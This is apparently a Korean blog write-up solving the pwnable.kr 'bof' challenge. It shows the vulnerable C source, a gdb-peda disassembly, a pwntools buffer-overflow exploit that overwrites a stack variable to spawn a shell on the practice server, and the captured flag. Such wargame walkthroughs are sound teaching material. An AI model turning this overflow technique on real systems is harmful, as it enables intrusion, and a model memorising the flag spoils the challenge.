이번 문제는 buffer overflow 문제입니다.
먼저 문제 파일을 다운로드 하겠습니다.
ubuntu@GalaxyBook-Ion:~$ wget http://pwnable.kr/bin/bof
--2022-04-11 22:37:41-- http://pwnable.kr/bin/bof
Resolving pwnable.kr (pwnable.kr)... 128.61.240.205
Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K)
Saving to: ‘bof’
bof 100%[=================================================>] 7.18K --.-KB/s in 0s
2022-04-11 22:37:43 (363 MB/s) - ‘bof’ saved [7348/7348]
ubuntu@GalaxyBook-Ion:~$ wget http://pwnable.kr/bin/bof.c
--2022-04-11 22:37:45-- http://pwnable.kr/bin/bof.c
Resolving pwnable.kr (pwnable.kr)... 128.61.240.205
Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 308 [text/x-csrc]
Saving to: ‘bof.c’
bof.c 100%[=================================================>] 308 --.-KB/s in 0s
2022-04-11 22:37:46 (8.66 MB/s) - ‘bof.c’ saved [308/308]
ubuntu@GalaxyBook-Ion:~$ ls
bof bof.c peda pwn
다운로드한 bof.c 파일을 출력해보면
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){ // key값이 0xcafebabe이면
system("/bin/sh"); // "/bin/sh" 실행
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
func() 함수에서 gets() 함수를 통해 크기에 제한없이 입력을 받고 있고 key값이 0xcafebabe가 되면 "/bin/sh"가 실행됩니다.
버퍼 오버플로우 공격을 통해 key 값을 변조해서 system("/bin/sh")를 통해 쉘을 띄우면 될거 같습니다.
peda로 bof.c 파일을 열어서 분석해보면
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef // esp = 0xdeadbeef
0x0000069a <+16>: call 0x62c <func> // func 함수 호출
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
gdb-peda$ pdisas func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48 // 72Byte 크기의 공간 할당
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c // esp = "overflow me : "
0x00000644 <+24>: call 0x645 <func+25> // printf("overflow me : ") 함수 호출
0x00000649 <+29>: lea eax,[ebp-0x2c] // eax = ebp-0x2c(overflowme)
0x0000064c <+32>: mov DWORD PTR [esp],eax // esp = overflowme
0x0000064f <+35>: call 0x650 <func+36> // gets(overflowme) 함수 호출
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe // compare ebp+0x8(key), 0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63> // key != 0xcafebabe이면 func+63으로 jump
0x0000065d <+49>: mov DWORD PTR [esp],0x79b // esp = "/bin/sh"
0x00000664 <+56>: call 0x665 <func+57> // system("/bin/sh") 함수 호출
0x00000669 <+61>: jmp 0x677 <func+75> // func+75로 jump
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3 // esp = "Nah.."
0x00000672 <+70>: call 0x673 <func+71> // printf("Nah..") 함수 호출
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
overflowme부터 key까지의 거리는 52Byte이기 때문에, NOP를 52 Byte 넣은 후 0xcafebabe를 넣어서 공격을 하면 될거 같습니다.
pwntools로 exploit 코드를 짜보면
from pwn import *
p = remote("pwnable.kr", 9000)
payload = b"\x90"*52
payload += p32(0xcafebabe)
p.sendline(payload)
p.interactive()
공격을 해보면
ubuntu@GalaxyBook-Ion:~$ python exploit.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$
공격에 성공해서 쉘이 떳습니다.
flag를 출력해보면
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
잘 출력됩니다.